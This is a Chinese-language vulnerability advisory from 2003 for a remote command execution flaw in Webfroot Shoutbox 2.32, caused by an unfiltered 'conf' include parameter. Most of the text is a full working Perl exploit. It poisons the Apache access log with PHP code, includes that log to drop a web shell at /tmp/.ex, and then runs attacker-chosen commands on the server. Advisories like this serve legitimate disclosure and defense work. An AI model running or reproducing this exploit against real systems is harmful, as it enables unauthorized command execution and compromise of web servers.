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安全漏洞
Webfroot Shoutbox远程命令执行漏洞
发布日期:2003-05-29
更新日期:2003-06-04
受影响系统:
Webfroot Shoutbox 2.32描述:
BUGTRAQ ID: 7746
Webfroot Shoutbox是一款基于PHP的论坛程序,允许访问者之间消息传送。
Shoutbox对用户提交的'conf' URI参数缺少充分过滤,远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。
shoutbox.php包含如下代码:
-------------------------------------------------------------------
if (!isset($conf)) {
$conf="shoutboxconf.php";
}
require_once ($conf);
--------------------------------------------------------------------
由于对$conf变量没有预定义,因此可以通过全局注入来进行变量定义,攻击者可以指定远程系统中的PHP文件作为参数提交给$conf变量,可导致以WEB进程权限执行PHP文件中包含的恶意代码。
<*来源:pokleyzz (pokleyzz@scan-associates.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105427582426010&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
#
# Webfroot Shoutbox < 2.32 on apache exploit
# by pokleyzz of d'scan clanz
#
# Greet:
# tynon, sk ,wanvadder, flyguy, sutan ,spoonfork, tenukboncit, kerengge_kurus ,
# s0cket370 , b0iler and d'scan clan.
#
# Shout to:
# #vuln , #mybsd , #mylinux
#
# Just for fun :). Weekend stuff ..
#
use IO::Socket;
my $host = "127.0.0.1";
my $port = 80;
my $shoutbox = "shoutbox.php?conf=";
my $shoutboxpath = "/shoutbox";
my $cmd = "ls -l";
my $conn;
my $type;
my @logs = (
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/httpd/access_log",
"/var/log/httpd/access.log",
#"D:/apps/Apache Group/Apache2/logs/access.log"
);
my $qinit = "GET /<?\$h=fopen('/tmp/.ex','w+');fwrite(\$h,'Result:<pre><?system(\$cmd);?></pre>');fclose(\$h);?> HTTP/1.1\nHost: 127.0.0.1\nConnection: Close\n\n";
my $conn;
if ($ARGV[0] eq "x" || $ARGV[0] eq "r"){
$type = $ARGV[0];
}
else {
print "[x] Webfroot Shoutbox < 2.32 on apache exploit \n\tby pokleyzz of d' scan clan\n\n";
print "Usage: \n jeritan_batinku.pl (x|r) host [command] [path] [port]\n";
print "\ttype\tx = exploit | r = run command (after run with x option)\n";
print "\thost\thostname\n";
print "\tcommand\tcommand to execute on remote server\n";
print "\tpath\tpath to shoutbox installation ex: /shoutbox\n";
print "\tport\tport number\n";
exit;
}
if ($ARGV[1]){
$host = $ARGV[1];
}
if ($ARGV[2]){
$cmd = $ARGV[2];
}
if ($ARGV[3]){
$shoutboxpath = $ARGV[3];
}
if ($ARGV[4]){
$port = int($ARGV[4]);
}
$cmd =~ s/ /+/g;
sub connect_to {
#print "[x] Connect to $host on port $port ...\n";
$conn = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "[*] Can't connect to $host on port $port ...\n";
$conn-> autoflush(1);
}
sub connect_end {
#print "[x] Close connection\n";
close($conn);
}
sub exploit {
my $access_log = $_[0];
my $result = "";
$access_log =~ s/ /+/g;
my $query = "GET ${shoutboxpath}/${shoutbox}${access_log} HTTP/1.1\nHost: $host\nConnection: Close\n\n";
print "$query";
print "[x] Access log : ", $access_log ,"\n";
&connect_to;
print $conn $query;
while ($line = <$conn>) {
$result = $line;
#print $result;
};
&connect_end;
}
sub run_cmd {
my $conf="/tmp/.ex";
#my $conf="d:/tmp/.ex";
my $result = "";
my $query = "GET ${shoutboxpath}/${shoutbox}${conf}&cmd=$cmd HTTP/1.1\nHost: $host\nConnection: Close\n\n";
print "[x] Run command ...\n";
&connect_to;
print $conn $query;
while ($line = <$conn>) {
$result .= $line;
};
&connect_end;
if ($result =~ /Result:/){
print $result;
} else {
print $result;
print "[*] Failed ...";
}
}
sub insert_code {
my $result = "";
print "[x] Access log : ", $access_log ,"\n";
print "[x] Insert php code into apache access log ...\n";
&connect_to;
print $conn "$qinit";
while ($line = <$conn>) {
$result .= $line;
};
&connect_end;
print $result;
}
if ($type eq "x"){
&insert_code;
print "[x] Trying to exploit ...\n";
for ($i = 0;$i <= $#logs; $i++){
&exploit($logs[$i]);
}
&run_cmd;
} else {
&run_cmd;
}
建议:
厂商补丁:
Webfroot
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://shoutbox.sourceforge.net
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